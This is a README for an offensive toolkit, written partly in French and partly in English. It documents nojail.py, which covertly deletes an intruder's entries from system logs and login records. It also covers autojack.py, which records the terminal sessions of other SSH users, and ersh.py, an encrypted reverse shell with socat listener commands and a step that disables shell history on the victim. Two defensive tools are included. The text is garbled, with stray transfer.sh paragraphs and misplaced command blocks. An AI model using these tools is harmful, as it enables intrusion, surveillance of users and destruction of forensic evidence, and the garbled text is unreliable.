freedomfighting

Une collection de scripts qui peuvent être utiles lors de vos activités de lutte pour la liberté.

Les entrées sont supprimées en fonction d'une adresse IP et/ou d'un nom d'hôte associé.

Un soin particulier est apporté pour éviter de casser les descripteurs de fichiers lors de la manipulation des logs. Cela signifie que les logs continuent d'être écrits après avoir été modifiés, rendant le nettoyage beaucoup moins visible. Tout le travail s'effectue dans un lecteur tmpfs et tous les fichiers créés sont effacés de manière sécurisée.

Avertissement : Le script n'a été testé que sous Linux et ne pourra pas nettoyer les entrées UTMP sur d'autres saveurs d'Unix.

Utilisation :```

usage: nojail.py [-h] [--user USER] [--ip IP] [--hostname HOSTNAME] [--verbose] [--check] [log_files [log_files ...]]

Stealthy log file cleaner.

positional arguments: log_files Specify any log files to clean in addition to /var/**/*.log.

optional arguments: -h, --help show this help message and exit --user USER, -u USER The username to remove from the connexion logs. --ip IP, -i IP The IP address to remove from the logs. --hostname HOSTNAME The hostname of the user to wipe. Defaults to the rDNS of the IP. --regexp REGEXP, -r REGEXP A regular expression to select log lines to delete (optional)

...supprimera toutes les entrées pour l'utilisateur root où l'adresse IP est 151.80.119.32 ou le nom d'hôte est manalyzer.org. L'utilisateur sera également invité avant de supprimer chaque enregistrement en raison de l'option --check. Enfin, le fichier /etc/app/logs/access.log sera traité en plus de tous les fichiers par défaut.

Si des dossiers sont donnés comme arguments positionnels (/etc/app/logs/ par exemple), le script parcourra récursivement ces dossiers et nettoiera tout fichier avec l'extension .log (*.log.1, *.log.2.gz, etc. inclus).

Expressions régulières

Vous pouvez également souhaiter supprimer des lignes arbitraires du fichier journal. Pour ce faire, utilisez l'option --regexp. Par exemple, la ligne de commande suivante recherchera toutes les requêtes POST vers des fichiers PHP à partir de l'IP spécifiée :``` ./nojail.py --ip 151.80.119.32 --regexp "POST /.*?.php"

En supposant que cela est exécuté depuis une connexion SSH, cette commande supprimera tous les journaux concernant l'activité de l'utilisateur actuel avec l'adresse IP et le nom d'hôte détectés immédiatement après la fermeture de la connexion. Ce script s'auto-supprimera ensuite automatiquement. Veuillez noter que vous n'aurez aucune possibilité de recevoir des messages d'erreur de l'application. Il est recommandé d'essayer de supprimer les journaux une fois avant de lancer le démon pour vous assurer que les arguments spécifiés sont corrects. Si vous êtes dans un shell sans TTY, le script ne pourra pas détecter la fin de la session. Vous serez informé que les journaux seront supprimés dans 60 secondes, et que vous devriez vous déconnecter avant (ou risquer de créer plus d'entrées après l'exécution du script).

Sample output:```

root@proxy:~# ./nojail.py [ ] Cleaning logs for root (XXX.XXX.XXX.XXX - domain.com). [] 2 entries removed from /var/run/utmp! [] 4 entries removed from /var/log/wtmp! [ ] No entries to remove from /var/log/btmp. [] Lastlog set to 2017-01-09 17:12:49 from pts/0 at lns-bzn-XXX-XXX-XXX-XXX-XXX.adsl.proxad.net [] 4 lines removed from /var/log/nginx/error.log! [] 11 lines removed from /var/log/nginx/access.log! [] 4 lines removed from /var/log/auth.log!

Additional arguments during the upload allow you to control the maximum number of downloads allowed for the file (-m) and how many days transfer.sh will keep it (-d). The default value for both these options is 1.

Warning: Do not use spaces in the encryption key, or only the first word of your passphrase will be taken into account. This is due to the way getopts handles arguments (I think). Pull requests are welcome if anyone is interested in fixing this.

autojack.py

AutoJack est un court script qui exploite shelljack d'EmptyMonkey pour enregistrer le terminal de tout utilisateur se connectant via SSH. Il surveille auth.log pour les connexions réussies, détermine le PID du processus bash de l'utilisateur, et laisse le reste àshelljack.

Launch it in a screen, and wait until other users log-in. Their session will be logged to /root/.local/sj.log.[user].[timestamp].

The script is not particularly stealthy (no attempt is made to hide the shelljack process) but it will get the job done. Note that to avoid self-incrimination, the root user is not targeted (this can be trivially commented out in the code).

listurl.py

ListURL is a multi-threaded website crawler which obtains a list of available pages from the target. This script is useful for bug-bounty hunters trying to establish the attack surface of a web application.

./listurl.py -u https://manalyzer.org [] Début de l'exploration à la profondeur 1. [] Début de l'exploration à la profondeur 2.... [] Début de l'exploration à la profondeur 3. [] URLs découvertes : https://manalyzer.org/report/f32d9d9ff788998234fe2b542f61ee2c (GET) https://manalyzer.org/report/eb4d2382c25c887ebc7775d56c417c6a (GET) https://manalyzer.org/report/ca127ebd958b98c55ee4ef277a1d3547 (GET) https://manalyzer.org/upload (POST) https://manalyzer.org/report/dd6762a2897432fdc7406fbd2bc2fe18 (GET) https://manalyzer.org/report/2fba831cab210047c7ec651ebdf63f50 (GET) https://manalyzer.org/report/029284d88f7b8586059ddcc71031c1f1 (GET) https://manalyzer.org/ (GET) https://manalyzer.org/report/83f3c2b72e3b98e2a72ae5fdf92c164e (GET) https://manalyzer.org/report/1bf9277cc045362472d1ba55e4d31dd5 (GET) https://manalyzer.org/report/af09bf587303feb4a9e9088b17631254 (GET) https://manalyzer.org/report/508d8094be65eaae4d481d40aacb2925 (GET) https://manalyzer.org/report/0e8592aa78d6e5a14043ab466601ef9b (GET) https://manalyzer.org/report/b52ddc0dda64f35721d5692e168ad58c (GET) https://manalyzer.org (GET) https://manalyzer.org/bounty (GET) https://manalyzer.org/search (POST)```

Filtering results

The --exclude-regexp and --show-regexp options are used to control which URLs should be shown or ignored. For instance, in the example above, you may want to ignore pages which are likely to be very similar:

./listurl.py -u https://google.com --subdomains [] Début du crawl à la profondeur 1. [] Début du crawl à la profondeur 2.^C Interruption détectée ! Veuillez patienter quelques secondes le temps que les threads s'arrêtent... [*] URLs découvertes : https://drive.google.com/drive/ (GET) https://google.com/../../policies/privacy/example/phone-number.html (GET) https://play.google.com/store/books/details/Markus_Heitz_Le_Secret_de_l_eau_noire?id=Oh1rDgAAQBAJ (GET) https://play.google.com/store/books/details/Leslie_Kelly_Face_au_d%C3%A9sir?id=mUtyDAAAQBAJ (GET) https://mail.google.com/mail/?tab=Tm (GET) https://google.com/../../policies/privacy/example/your-activity-on-other-sites-and-apps.html (GET) https://google.com/locations/ (GET) [...]```

Notice that if the script takes too long, you can hit CTRL+C anytime to shut it down. You'll then be shown the pages discovered so far.

If you need to access authenticated pages on a website, you can provide cookies to listurl.py from the command line with the --cookie option.

Finally, if you're working on a website which has an invalid or self-signed SSL certificate, use the --no-certificate-check option to ignore SSL errors.

ersh.py

ersh is an encrypted reverse shell written in pure Python. Ever been on a Une boîte sans utilitaires standard ni outils de compilation, et aucun moyen facile de télécharger des binaires ? Avez-vous peur qu'un IDS remarque une connexion sortante ? Fermé accidentellement votre listener netcat parce que vous avez appuyé sur ^C ? Ne souffrez plus.ersh offers the following features:

• SSL-encrypted with both client and server authentication (SSL as in Suck-it Snort Layer).
• Fully featured TTY.
• Optionnaly file-less.
• No dependencies, should run on any machine with Python >= 2.6.

For a more detailed discussion about how this tool came to be, please refer to this blog post.

Usage

This script needs to be edited before it works! Look for this marker near the beginning:

openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout server.key -out server.crt && cat server.key server.crt > server.pem && openssl dhparam 2048 >> server.pem openssl req -new -newkey rsa:2048 -days 50 -nodes -x509 -subj "/C=US/ST=Maryland/L=Fort Meade/O=NSA/CN=www.nsa.gov" -keyout client.key -out client.crt```

That's it! You should now have five new files in your current folder: server.(crt|key|pem) and client.(crt|key). Some of them need to be inserted in the script so the reverse shell and the listener can authenticate each other. Specifically:

• client_key should contain the contents of client.key.
• client_crt should contain the contents of client.crt.
• server_crt should contain the contents of server.crt.

That's it, no more editing required.

Setting up the listener

Considering that a full TLS negociation is going to proceed, a traditional nc listener will not suffice here. socat has been chosen for this task, due to its ability to handle encryption and TTYs. On Debian-based distributions, you should be able to obtain it by simply running sudo apt-get install socat.

Assuming you're still in the folder where you generated the keys and certificates, and you want to listen on port 443, here is the command line you should run on the machine where the reverse shell will arrive:

python - <<'EOF' [collez ici le contenu du script] 'EOF'```

If you're trying to launch ersh.py from an environment which doesn't support multiple lines (such as Weevely), you can also try generating a one-liner like this:

root@attacker:~/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:tty,raw,echo=0```

On the victim:

root@attacker:/freedomfighting# socat openssl-listen:8080,reuseaddr,cert=server.pem,cafile=client.crt,method=TLS1 file:tty,raw,echo=0 root@victim:# unset HISTFILE root@victim:~#```

boot_check.py

This script was written to detect evil maid attacks. It does so by checking at boot time if the hard drive was powered on but not the OS (for instance, if it was taken out of the computer for a copy, or if someone tried to boot the machine but was stopped by a FDE password).

Installation:

You need to make sure this script will run at every boot. The following instructions will work on distributions using systemd.

• Copy boot_check.service to /etc/systemd/system/. Fix paths inside of it as needed. The script will run as root so make sure it is not world writable!
• #> systemctl enable boot_check.service

Install dependencies:

• #> apt install smartmontools dialog

Run the script once so it initializes:

• #> ./boot_check.py

If a confirmation message appears, you're good to go.

Testing

If you want to make sure that the script works, make sure you do the following:

• Do not just reboot the computer, as the power to the hard drive may not be cut. Turn it off completely.
• If you don't want to take out your drive and plug it into another machine, you can try interrupting the boot process. This has to happen before the script is executed, but after the drive has been powered on (which means after the BIOS password). A good moment to interrupt the boot process is when the prompt for the FDE password is shown.
• Then turn on the computer again, and you should see the alert on your screen a few seconds after your computer has booted up.

notify_hook.py

This script was created to provide a simple way to "booby-trap" certain executables on a linux system. The idea is to detect intruders when they use certain binaries (id, whoami, gcc) on a server they don't own.

To protect those binaries, notify_hook.py create symbolic links to this script higher-up in the PATH. notify_hook will then send you an alert and call the intended program in a transparent fashion. For instance, if you want to "protect" id, just create the following symlink on your machine: